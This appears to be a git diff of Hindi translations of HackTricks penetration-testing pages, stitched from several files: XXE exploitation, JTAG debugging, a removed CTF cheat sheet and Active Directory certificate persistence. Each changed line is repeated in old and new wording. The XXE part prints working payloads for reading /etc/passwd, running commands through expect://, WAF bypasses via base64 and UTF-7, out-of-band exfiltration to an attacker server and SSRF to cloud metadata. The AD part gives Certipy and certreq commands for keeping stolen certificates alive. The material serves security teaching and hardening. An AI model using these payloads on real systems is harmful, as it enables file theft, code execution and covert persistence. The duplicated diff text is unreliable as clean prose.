जब उपयोगकर्ता **चित्र अपलोड करते हैं**, तो इन चित्रों को सर्वर-साइड पर संसाधित या मान्य किया जाता है। यहां तक कि उन अनुप्रयोगों के लिए जो PNG या JPEG जैसे स्वरूपों की अपेक्षा करते हैं, **सर्वर की चित्र प्रसंस्करण पुस्तकालय SVG चित्रों का भी समर्थन कर सकती है**। SVG, एक XML-आधारित स्वरूप होने के नाते, हमलावरों द्वारा दुर्भावनापूर्ण SVG चित्रों को प्रस्तुत करने के लिए उपयोग किया जा सकता है, जिससे सर्वर XXE (XML External Entity) कमजोरियों के प्रति उजागर हो जाता है।
जब उपयोगकर्ता **चित्र अपलोड करते हैं**, तो इन चित्रों को सर्वर-साइड पर संसाधित या मान्य किया जाता है। यहां तक कि उन अनुप्रयोगों के लिए जो PNG या JPEG जैसे प्रारूपों की अपेक्षा करते हैं, **सर्वर की चित्र प्रसंस्करण पुस्तकालय SVG चित्रों का भी समर्थन कर सकती है**। SVG, एक XML-आधारित प्रारूप होने के नाते, हमलावरों द्वारा दुर्भावनापूर्ण SVG चित्रों को प्रस्तुत करने के लिए उपयोग किया जा सकता है, जिससे सर्वर XXE (XML External Entity) कमजोरियों के प्रति उजागर हो जाता है।
ऐसे एक हमले का उदाहरण नीचे दिखाया गया है, जहां एक दुर्भावनापूर्ण SVG चित्र प्रणाली फ़ाइलों को पढ़ने का प्रयास करता है:
ऐसे एक हमले का उदाहरण नीचे दिखाया गया है, जहां एक दुर्भावनापूर्ण SVG चित्र सिस्टम फ़ाइलों को पढ़ने का प्रयास करता है:
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
```
एक और विधि में PHP "expect" wrapper के माध्यम से **आदेशों को निष्पादित करने** का प्रयास करना शामिल है:
एक और विधि में PHP "expect" wrapper के माध्यम से **कमांड्स को निष्पादित करने** का प्रयास करना शामिल है:
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
@ -336,13 +336,13 @@ Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-sec
```
SVG प्रारूप का उपयोग दोनों मामलों में उन हमलों को लॉन्च करने के लिए किया जाता है जो सर्वर के सॉफ़्टवेयर की XML प्रोसेसिंग क्षमताओं का लाभ उठाते हैं, जो मजबूत इनपुट सत्यापन और सुरक्षा उपायों की आवश्यकता को उजागर करता है।
अधिक जानकारी के लिए [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) पर जाएं!
अधिक जानकारी के लिए देखें [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)!
**ध्यान दें कि पढ़ी गई फ़ाइल की पहली पंक्ति या निष्पादन के परिणाम के रूप में दिखाई देगी जो बनाई गई छवि के अंदर होगी। इसलिए आपको उस छवि तक पहुँचने में सक्षम होना चाहिए जो SVG ने बनाई है।**
### **PDF - फ़ाइल अपलोड**
**XXE का उपयोग करके PDF फ़ाइल अपलोड करने के तरीके के बारे में जानने के लिए निम्नलिखित पोस्ट पढ़ें:**
**XXE का उपयोग करके PDF फ़ाइल अपलोड करने के लिए कैसे शोषण करें, यह जानने के लिए निम्नलिखित पोस्ट पढ़ें:**
{{#ref}}
file-upload/pdf-upload-xxe-and-cors-bypass.md
@ -350,7 +350,7 @@ file-upload/pdf-upload-xxe-and-cors-bypass.md
### सामग्री-प्रकार: x-www-urlencoded से XML तक
यदि एक POST अनुरोध XML प्रारूप में डेटा स्वीकार करता है, तो आप उस अनुरोध में XXE का लाभ उठाने की कोशिश कर सकते हैं। उदाहरण के लिए, यदि एक सामान्य अनुरोध में निम्नलिखित शामिल है:
यदि एक POST अनुरोध XML प्रारूप में डेटा स्वीकार करता है, तो आप उस अनुरोध में XXE का शोषण करने का प्रयास कर सकते हैं। उदाहरण के लिए, यदि एक सामान्य अनुरोध में निम्नलिखित शामिल है:
```xml
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
@ -398,17 +398,17 @@ Content-Type: application/xml;charset=UTF-8
```
एक और उदाहरण [यहां](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2) पाया जा सकता है।
## WAF & प्रोटेक्शन बायपास
## WAF & सुरक्षा बाईपास
### Base64
```xml
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
```
यह केवल तभी काम करेगा जब XML सर्वर `data://` प्रोटोकॉल को स्वीकार करता है।
यह केवल तभी काम करता है जब XML सर्वर `data://` प्रोटोकॉल को स्वीकार करता है।
### UTF-7
आप यहाँ \[**"Encode Recipe**" of cyberchef]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) का उपयोग करके UTF-7 में परिवर्तित कर सकते हैं।
आप यहाँ \[**"Encode Recipe**" of cyberchef] \(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) का उपयोग करके UTF-7 में परिवर्तित कर सकते हैं।
```xml
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
@ -448,7 +448,7 @@ DTD उदाहरण:
### Base64
**निकालें** _**index.php**_
**Extract** _**index.php**_
```xml
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
```
@ -502,7 +502,7 @@ Content-Type: application/x-xliff+xml
```
हालांकि त्रुटि है, एक हिट बर्प सहयोगी पर दर्ज की जाती है, जो बाहरी इकाई के साथ कुछ स्तर की बातचीत को इंगित करती है।
Out of Band Data Exfiltration डेटा को निकालने के लिए, एक संशोधित अनुरोध भेजा जाता है:
Out of Band Data Exfiltration डेटा को एक्सफिल्ट्रेट करने के लिए, एक संशोधित अनुरोध भेजा जाता है:
```
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
@ -542,7 +542,7 @@ XXE भेद्यता का लाभ उठाने के लिए RSS
### Ping back
हमलावर के सर्वर के लिए सरल HTTP अनुरोध
हमलावर के सर्वर पर सरल HTTP अनुरोध
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
@ -609,7 +609,7 @@ PHP base64 फ़िल्टर का उपयोग करना
```
## Java XMLDecoder XEE to RCE
XMLDecoder एक Java क्लास है जो XML संदेश के आधार पर ऑब्जेक्ट बनाती है। यदि एक दुर्भावनापूर्ण उपयोगकर्ता किसी एप्लिकेशन को **readObject** मेथड में मनमाना डेटा उपयोग करने के लिए मजबूर कर सकता है, तो वह तुरंत सर्वर पर कोड निष्पादन प्राप्त कर लेगा।
XMLDecoder एक Java क्लास है जो XML संदेश के आधार पर ऑब्जेक्ट बनाती है। यदि एक दुर्भावनापूर्ण उपयोगकर्ता किसी एप्लिकेशन को **readObject** मेथड में मनमाने डेटा का उपयोग करने के लिए मजबूर कर सकता है, तो वह तुरंत सर्वर पर कोड निष्पादन प्राप्त कर लेगा।
### Using Runtime().exec()
```xml
@ -684,16 +684,16 @@ https://github.com/luisfontes19/xxexploiter
### Python lxml Parameter-Entity XXE (Error-Based File Disclosure)
> [!INFO]
> Python लाइब्रेरी **lxml** के पीछे **libxml2** का उपयोग होता है। **lxml 5.4.0 / libxml2 2.13.8** से पहले के संस्करण *parameter* entities को तब भी विस्तारित करते हैं जब `resolve_entities=False` हो, जिससे वे तब भी पहुंच योग्य होते हैं जब एप्लिकेशन `load_dtd=True` और/या `resolve_entities=True` सक्षम करता है। यह Error-Based XXE payloads को अनुमति देता है जो स्थानीय फ़ाइलों की सामग्री को पार्सर त्रुटि संदेश में एम्बेड करते हैं।
> Python लाइब्रेरी **lxml** के पीछे **libxml2** का उपयोग करती है। **lxml 5.4.0 / libxml2 2.13.8** से पहले के संस्करण *parameter* entities को तब भी विस्तारित करते हैं जब `resolve_entities=False` हो, जिससे वे पहुँच योग्य हो जाते हैं जब एप्लिकेशन `load_dtd=True` और/या `resolve_entities=True` सक्षम करता है। यह Error-Based XXE payloads को अनुमति देता है जो स्थानीय फ़ाइलों की सामग्री को पार्सर त्रुटि संदेश में एम्बेड करते हैं।
#### 1. lxml < 5.4.0 षण करन
1. एक *स्थानीय* DTD की पहचान करें या उसे डिस्क पर बनाएं जो एक **undefined** parameter entity को परिभाषित करता है (जैसे `%config_hex;`)।
1. एक *स्थानीय* DTD की पहचान करें या बनाएँ जो एक **undefined** parameter entity को परिभाषित करता है (जैसे `%config_hex;`)।
2. एक आंतरिक DTD तैयार करें जो:
* स्थानीय DTD को लोड करता है `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">` के साथ।
* undefined entity को फिर से परिभाषित करता है ताकि यह:
- लक्षित फ़ाइल को पढ़े (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`)।
- एक और parameter entity बनाए जो एक **invalid path** को संदर्भित करता है जिसमें `%flag;` मान होता है और एक पार्सर त्रुटि को ट्रिगर करता है (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`)।
3. अंत में `%local_dtd;` और `%eval;` को विस्तारित करें ताकि पार्सर `%error;` का सामना करे, `/aaa/<FLAG>` को खोलने में विफल हो और फेंकी गई अपवाद के अंदर ध्वज लीक हो जाए जो अक्सर एप्लिकेशन द्वारा उपयोगकर्ता को वापस किया जाता है।
3. अंततः `%local_dtd;` और `%eval;` का विस्तार करें ताकि पार्सर `%error;` का सामना करे, `/aaa/<FLAG>` को खोलने में विफल हो और फेंकी गई अपवाद के अंदर ध्वज लीक हो जाए जो अक्सर एप्लिकेशन द्वारा उपयोगकर्ता को वापस किया जाता है।
```xml
<!DOCTYPE colors [
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
@ -763,13 +763,13 @@ dbf.setExpandEntityReferences(false);
DocumentBuilder builder = dbf.newDocumentBuilder();
```
यदि एप्लिकेशन को आंतरिक रूप से DTD का समर्थन करना चाहिए, तो `disallow-doctype-decl` को निष्क्रिय रखें लेकिन **हमेशा** दो `external-*-entities` सुविधाओं को `false` पर सेट रखें। यह संयोजन पारंपरिक फ़ाइल-प्रकटीकरण पेलोड (`file:///etc/passwd`) और नेटवर्क-आधारित SSRF वेक्टर (`http://169.254.169.254/…`, `jar:` प्रोटोकॉल, आदि) को रोकता है।
यदि एप्लिकेशन को आंतरिक रूप से DTDs का समर्थन करना है, तो `disallow-doctype-decl` को निष्क्रिय रखें लेकिन **हमेशा** दो `external-*-entities` सुविधाओं को `false` पर सेट रखें। यह संयोजन पारंपरिक फ़ाइल-प्रकटीकरण पेलोड (`file:///etc/passwd`) और नेटवर्क-आधारित SSRF वेक्टर (`http://169.254.169.254/…`, `jar:` प्रोटोकॉल, आदि) को रोकता है।
वास्तविक दुनिया का केस अध्ययन: **CVE-2025-27136** में Java S3 इम्यूलेटर *LocalS3* ने ऊपर दिखाए गए कमजोर कंस्ट्रक्टर का उपयोग किया। एक अनधिकृत हमलावर `CreateBucketConfiguration` एंडपॉइंट पर एक तैयार XML बॉडी प्रदान कर सकता था और सर्वर को HTTP प्रतिक्रिया में स्थानीय फ़ाइलें (उदाहरण के लिए `/etc/passwd`) एम्बेड करने के लिए मजबूर कर सकता था।
वास्तविक दुनिया का केस अध्ययन: **CVE-2025-27136** में Java S3 इम्यूलेटर *LocalS3* ने ऊपर दिखाए गए कमजोर कंस्ट्रक्टर का उपयोग किया। एक अनधिकृत हमलावर `CreateBucketConfiguration` एंडपॉइंट पर एक तैयार XML बॉडी प्रदान कर सकता था और सर्वर को स्थानीय फ़ाइलें (उदाहरण के लिए `/etc/passwd`) HTTP प्रतिक्रिया में एम्बेड करने के लिए मजबूर कर सकता था।
### JMF/प्रिंट ऑर्केस्ट्रेशन सेवाओं में XXE → SSRF
कुछ प्रिंट वर्कफ़्लो/ऑर्केस्ट्रेशन प्लेटफ़ॉर्म एक नेटवर्क-फेसिंग जॉब मैसेजिंग फॉर्मेट (JMF) लिस्नर को उजागर करते हैं जो TCP पर XML स्वीकार करता है। यदि अंतर्निहित पार्सर `DOCTYPE` को स्वीकार करता है और बाहरी संस्थाओं को हल करता है, तो आप सर्वर को आउटबाउंड अनुरोध (SSRF) करने या स्थानीय संसाधनों तक पहुँचने के लिए पारंपरिक XXE का लाभ उठा सकते हैं
कुछ प्रिंट वर्कफ़्लो/ऑर्केस्ट्रेशन प्लेटफ़ॉर्म एक नेटवर्क-फेसिंग जॉब मैसेजिंग फॉर्मेट (JMF) लिस्नर को उजागर करते हैं जो TCP पर XML स्वीकार करता है। यदि अंतर्निहित पार्सर एक `DOCTYPE` स्वीकार करता है और बाहरी संस्थाओं को हल करता है, तो आप एक पारंपरिक XXE का लाभ उठा सकते हैं ताकि सर्वर को आउटबाउंड अनुरोध (SSRF) करने या स्थानीय संसाधनों तक पहुँचने के लिए मजबूर किया जा सके
जंगली में देखे गए प्रमुख बिंदु:
- एक समर्पित पोर्ट (आमतौर पर Xerox FreeFlow Core में 4004) पर नेटवर्क लिस्नर (जैसे, JMF क्लाइंट)।
@ -787,7 +787,7 @@ DocumentBuilder builder = dbf.newDocumentBuilder();
</JMF>
```
नोट्स:
- अपने सहयोगी के साथ एंटिटी URL को बदलें। यदि SSRF संभव है, तो सर्वर संदेश को पार्स करते समय इसे हल करेगा।
- सहयोगी के साथ एंटिटी URL को बदलें। यदि SSRF संभव है, तो सर्वर संदेश को पार्स करते समय इसे हल करेगा।
- देखने के लिए हार्डनिंग: `disallow-doctype-decl=true`, `external-general-entities=false`, `external-parameter-entities=false`
- भले ही JMF पोर्ट फ़ाइलें प्रदान न करे, SSRF को आंतरिक पुनः खोज के लिए या लोकलहोस्ट से बंधे प्रबंधन APIs तक पहुँचने के लिए श्रृंखलाबद्ध किया जा सकता है।

View File

@ -10,7 +10,7 @@ README.md
[**JTAGenum**](https://github.com/cyphunk/JTAGenum) एक उपकरण है जिसे आप Arduino-संगत MCU या (प्रायोगिक रूप से) Raspberry Pi पर लोड कर सकते हैं ताकि अज्ञात JTAG पिनआउट्स को ब्रूट-फोर्स किया जा सके और यहां तक कि निर्देश रजिस्टरों को भी सूचीबद्ध किया जा सके।
- Arduino: डिजिटल पिन D2D11 को 10 संदिग्ध JTAG पैड/टेस्टपॉइंट्स से कनेक्ट करें, और Arduino GND को लक्ष्य GND से जोड़ें। यदि आप नहीं जानते कि रेल सुरक्षित है तो लक्ष्य को अलग से पावर करें। 3.3 V लॉजिक को प्राथमिकता दें (जैसे, Arduino Due) या 1.83.3 V लक्ष्यों को प्रॉब करते समय लेवल शिफ्टर/सीरीज रेजिस्टर्स का उपयोग करें।
- Arduino: डिजिटल पिन D2D11 को 10 संदिग्ध JTAG पैड/टेस्टपॉइंट्स से कनेक्ट करें, और Arduino GND को लक्ष्य GND से कनेक्ट करें। यदि आप नहीं जानते कि रेल सुरक्षित है तो लक्ष्य को अलग से पावर करें। 3.3 V लॉजिक को प्राथमिकता दें (जैसे, Arduino Due) या 1.83.3 V लक्ष्यों को प्रॉब करते समय लेवल शिफ्टर/सीरीज रेजिस्टर्स का उपयोग करें।
- Raspberry Pi: Pi निर्माण में उपयोगी GPIOs की संख्या कम होती है (इसलिए स्कैन धीमे होते हैं); वर्तमान पिन मैप और प्रतिबंधों के लिए रिपॉजिटरी की जांच करें।
एक बार फ्लैश होने के बाद, 115200 बौड पर सीरियल मॉनिटर खोलें और मदद के लिए `h` भेजें। सामान्य प्रवाह:
@ -31,24 +31,24 @@ README.md
टिप्स
- हमेशा ग्राउंड साझा करें, और कभी भी अज्ञात पिनों को लक्ष्य Vtref से ऊपर न चलाएं। यदि संदेह हो, तो उम्मीदवार पिनों पर 100470 Ω सीरीज रेजिस्टर्स जोड़ें।
- यदि उपकरण SWD/SWJ का उपयोग करता है बजाय 4-वायर JTAG के, तो JTAGenum इसे पहचान नहीं सकता; SWD उपकरणों या SWJ-DP का समर्थन करने वाले एडाप्टर का प्रयास करें।
- यदि डिवाइस 4-वायर JTAG के बजाय SWD/SWJ का उपयोग करता है, तो JTAGenum इसे पहचान नहीं सकता; SWD उपकरणों या SWJ-DP का समर्थन करने वाले एडाप्टर का प्रयास करें।
## Safer pin hunting and hardware setup
- पहले एक मल्टीमीटर के साथ Vtref और GND की पहचान करें। कई एडाप्टरों को I/O वोल्टेज सेट करने के लिए Vtref की आवश्यकता होती है।
- लेवल शिफ्टिंग: पुश-पुल सिग्नल के लिए डिज़ाइन किए गए द्विदिश लेवल शिफ्टर्स को प्राथमिकता दें (JTAG लाइन्स ओपन-ड्रेन नहीं हैं)। JTAG के लिए ऑटो-डायरेक्शन I2C शिफ्टर्स से बचें।
- उपयोगी एडाप्टर: FT2232H/FT232H बोर्ड (जैसे, Tigard), CMSIS-DAP, J-Link, ST-LINK (विक्रेता-विशिष्ट), ESP-USB-JTAG (ESP32-Sx पर)। न्यूनतम TCK, TMS, TDI, TDO, GND और Vtref से कनेक्ट करें; वैकल्पिक TRST और SRST।
- उपयोगी एडाप्टर: FT2232H/FT232H बोर्ड (जैसे, Tigard), CMSIS-DAP, J-Link, ST-LINK (विक्रेता-विशिष्ट), ESP-USB-JTAG (ESP32-Sx पर)। न्यूनतम TCK, TMS, TDI, TDO, GND और Vtref से कनेक्ट करें; वैकल्पिक रूप से TRST और SRST।
## First contact with OpenOCD (scan and IDCODE)
OpenOCD JTAG/SWD के लिए de-facto OSS है। एक समर्थित एडाप्टर के साथ आप चेन को स्कैन कर सकते हैं और IDCODE पढ़ सकते हैं:
- JLink के साथ सामान्य उदाहरण:
- J-Link के साथ सामान्य उदाहरण:
```
openocd -f interface/jlink.cfg -c "transport select jtag; adapter speed 1000" \
-c "init; scan_chain; shutdown"
```
- ESP32S3 में निर्मित USBJTAG (कोई बाहरी प्रॉब की आवश्यकता नहीं):
- ESP32S3 में अंतर्निहित USBJTAG (कोई बाहरी प्रॉब की आवश्यकता नहीं):
```
openocd -f board/esp32s3-builtin.cfg -c "init; scan_chain; shutdown"
```
@ -99,13 +99,13 @@ jtag> dr <bit pattern for boundary register>
## आधुनिक लक्ष्य और नोट्स
- ESP32S3/C3 में एक मूल USBJTAG ब्रिज शामिल है; OpenOCD सीधे USB के माध्यम से बिना किसी बाहरी प्रॉब के बात कर सकता है। त्वरित जांच और डंप के लिए बहुत सुविधाजनक।
- ESP32S3/C3 में एक स्वदेशी USBJTAG ब्रिज शामिल है; OpenOCD सीधे USB के माध्यम से बिना किसी बाहरी प्रॉब के बात कर सकता है। त्वरित जांच और डंप के लिए बहुत सुविधाजनक।
- RISCV डिबग (v0.13+) को OpenOCD द्वारा व्यापक रूप से समर्थित किया गया है; जब कोर को सुरक्षित रूप से रोका नहीं जा सकता है, तो मेमोरी एक्सेस के लिए SBA को प्राथमिकता दें।
- कई MCU डिबग प्रमाणीकरण और जीवनचक्र राज्यों को लागू करते हैं। यदि JTAG मृत प्रतीत होता है लेकिन पावर सही है, तो डिवाइस बंद स्थिति में फ्यूज हो सकता है या एक प्रमाणित प्रॉब की आवश्यकता हो सकती है।
## रक्षा और सख्ती (वास्तविक उपकरणों पर क्या अपेक्षा करें)
- उत्पादन में JTAG/SWD को स्थायी रूप से निष्क्रिय या लॉक करें (जैसे, STM32 RDP स्तर 2, ESP eFuses जो PAD JTAG को निष्क्रिय करते हैं, NXP/Nordic APPROTECT/DPAP)।
- उत्पादन में JTAG/SWD को स्थायी रूप से अक्षम या लॉक करें (जैसे, STM32 RDP स्तर 2, ESP eFuses जो PAD JTAG को अक्षम करते हैं, NXP/Nordic APPROTECT/DPAP)।
- निर्माण पहुंच रखते हुए प्रमाणित डिबग की आवश्यकता करें (ARMv8.2A ADIv6 डिबग प्रमाणीकरण, OEM-प्रबंधित चुनौती-प्रतिक्रिया)।
- आसान परीक्षण पैड को न रूट करें; परीक्षण वियास को दफन करें, TAP को अलग करने के लिए प्रतिरोधकों को हटा/भरा दें, कीइंग या पोगो-पिन फिक्स्चर के साथ कनेक्टर्स का उपयोग करें।
- पावर-ऑन डिबग लॉक: सुरक्षित बूट को लागू करने वाले प्रारंभिक ROM के पीछे TAP को गेट करें।

View File

@ -1,57 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
एक पिंग प्रतिक्रिया TTL:\
127 = Windows\
254 = Cisco\
बाकी, कुछ लिनक्स
$1$- md5\
$2$या $2a$ - Blowfish\
$5$- sha256\
$6$- sha512
यदि आप नहीं जानते कि किसी सेवा के पीछे क्या है, तो HTTP GET अनुरोध करने का प्रयास करें।
**UDP स्कैन**\
nc -nv -u -z -w 1 \<IP> 160-16
एक खाली UDP पैकेट एक विशिष्ट पोर्ट पर भेजा जाता है। यदि UDP पोर्ट खुला है, तो लक्ष्य मशीन से कोई उत्तर नहीं भेजा जाता है। यदि UDP पोर्ट बंद है, तो लक्ष्य मशीन से एक ICMP पोर्ट अप्राप्य पैकेट वापस भेजा जाना चाहिए।\
UDP पोर्ट स्कैनिंग अक्सर अविश्वसनीय होती है, क्योंकि फ़ायरवॉल और राउटर ICMP\
पैकेट्स को गिरा सकते हैं। इससे आपके स्कैन में झूठे सकारात्मक परिणाम हो सकते हैं, और आप नियमित रूप से देखेंगे\
UDP पोर्ट स्कैनिंग में सभी UDP पोर्ट्स को स्कैन की गई मशीन पर खुला दिखा रहा है।\
o अधिकांश पोर्ट स्कैनर सभी उपलब्ध पोर्ट्स को स्कैन नहीं करते हैं, और आमतौर पर एक पूर्व निर्धारित सूची होती है\
“दिलचस्प पोर्ट्स” की जो स्कैन की जाती है।
# CTF - Tricks
**Windows** में फ़ाइलों की खोज के लिए **Winzip** का उपयोग करें।\
**वैकल्पिक डेटा स्ट्रीम**: _dir /r | find ":$DATA"_
```
binwalk --dd=".*" <file> #Extract everything
binwalk -M -e -d=10000 suspicious.pdf #Extract, look inside extracted files and continue extracing (depth of 10000)
```
## Crypto
**featherduster**\
**Basae64**(6—>8) —> 0...9, a...z, A…Z,+,/\
**Base32**(5 —>8) —> A…Z, 2…7\
**Base85** (Ascii85, 7—>8) —> 0...9, a...z, A...Z, ., -, :, +, =, ^, !, /, \*, ?, &, <, >, (, ), \[, ], {, }, @, %, $, #\
**Uuencode** --> "_begin \<mode> \<filename>_" से शुरू करें और अजीब अक्षर\
**Xxencoding** --> "_begin \<mode> \<filename>_" से शुरू करें और B64\
\
**Vigenere** (आवृत्ति विश्लेषण) —> [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)\
**Scytale** (अक्षरों का ऑफसेट) —> [https://www.dcode.fr/scytale-cipher](https://www.dcode.fr/scytale-cipher)
**25x25 = QR**
factordb.com\
rsatool
Snow --> संदेशों को स्थान और टैब का उपयोग करके छिपाएं
# Characters
%E2%80%AE => RTL Character (पेलोड को उल्टा लिखता है)
{{#include ../banners/hacktricks-training.md}}

View File

@ -6,7 +6,7 @@
## Understanding Active User Credential Theft with Certificates PERSIST1
एक परिदृश्य में जहां एक प्रमाणपत्र जो डोमेन प्रमाणीकरण की अनुमति देता है, एक उपयोगकर्ता द्वारा अनुरोध किया जा सकता है, एक हमलावर के पास इस प्रमाणपत्र को अनुरोध करने और चुराने का अवसर होता है ताकि नेटवर्क पर स्थिरता बनाए रखी जा सके। डिफ़ॉल्ट रूप से, Active Directory में `User` टेम्पलेट ऐस अनुरोधों की अनुमति देता है, हालांकि इसे कभी-कभी अक्षम किया जा सकता है।
एक परिदृश्य में जहां एक प्रमाणपत्र जो डोमेन प्रमाणीकरण की अनुमति देता है, एक उपयोगकर्ता द्वारा अनुरोध किया जा सकता है, एक हमलावर के पास इस प्रमाणपत्र को अनुरोध करने और चुराने का अवसर होता है ताकि नेटवर्क पर स्थिरता बनाए रखी जा सके। डिफ़ॉल्ट रूप से, Active Directory में `User` टेम्पलेट ऐस अनुरोधों की अनुमति देता है, हालांकि इसे कभी-कभी अक्षम किया जा सकता है।
[Certify](https://github.com/GhostPack/Certify) या [Certipy](https://github.com/ly4k/Certipy) का उपयोग करके, आप सक्षम टेम्पलेट्स की खोज कर सकते हैं जो क्लाइंट प्रमाणीकरण की अनुमति देते हैं और फिर एक का अनुरोध कर सकते हैं:
```bash
@ -46,7 +46,7 @@ Rubeus.exe asktgt /user:HOSTNAME$ /certificate:C:\Temp\host.pfx /password:Passw0
```
## Extending Persistence Through Certificate Renewal - PERSIST3
प्रमाणपत्र टेम्पलेट्स की वैधता और नवीनीकरण अवधि का दुरुपयोग एक हमलावर को दीर्घकालिक पहुंच बनाए रखने की अनुमति देता है। यदि आपके पास एक पूर्व में जारी किया गया प्रमाणपत्र और इसका निजी कुंजी है, तो आप इसे समाप्ति से पहले नवीनीकरण कर सकते हैं ताकि बिना मूल प्रिंसिपल से जुड़े अतिरिक्त अनुरोध कलाकृतियों को छोड़े एक नया, दीर्घकालिक प्रमाणपत्र प्राप्त कर सकें।
प्रमाणपत्र टेम्पलेट्स की वैधता और नवीनीकरण अवधि का दुरुपयोग एक हमलावर को दीर्घकालिक पहुंच बनाए रखने की अनुमति देता है। यदि आपके पास एक पूर्व में जारी किया गया प्रमाणपत्र और इसका निजी कुंजी है, तो आप इसे समाप्ति से पहले नवीनीकरण कर सकते हैं ताकि बिना मूल प्रिंसिपल से जुड़े अतिरिक्त अनुरोध कलाकृतियों को छोड़े एक नया, दीर्घकालिक क्रेडेंशियल प्राप्त कर सकें।
```bash
# Renewal with Certipy (works with RPC/DCOM/WebEnrollment)
# Provide the existing PFX and target the same CA/template when possible
@ -57,11 +57,11 @@ certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \
# (use the serial/thumbprint of the cert to renew; reusekeys preserves the keypair)
certreq -enroll -user -cert <SerialOrID> renew [reusekeys]
```
> संचालन टिप: हमलावर-धारित PFX फ़ाइलों पर जीवनकाल को ट्रैक करें और जल्दी नवीनीकरण करें। नवीनीकरण से अपडेट किए गए प्रमाणपत्रों में आधुनिक SID मैपिंग एक्सटेंशन शामिल हो सकता है, जिससे वे सख्त DC मैपिंग नियमों के तहत उपयोगी बने रहते हैं (अगले अनुभाग को देखें)।
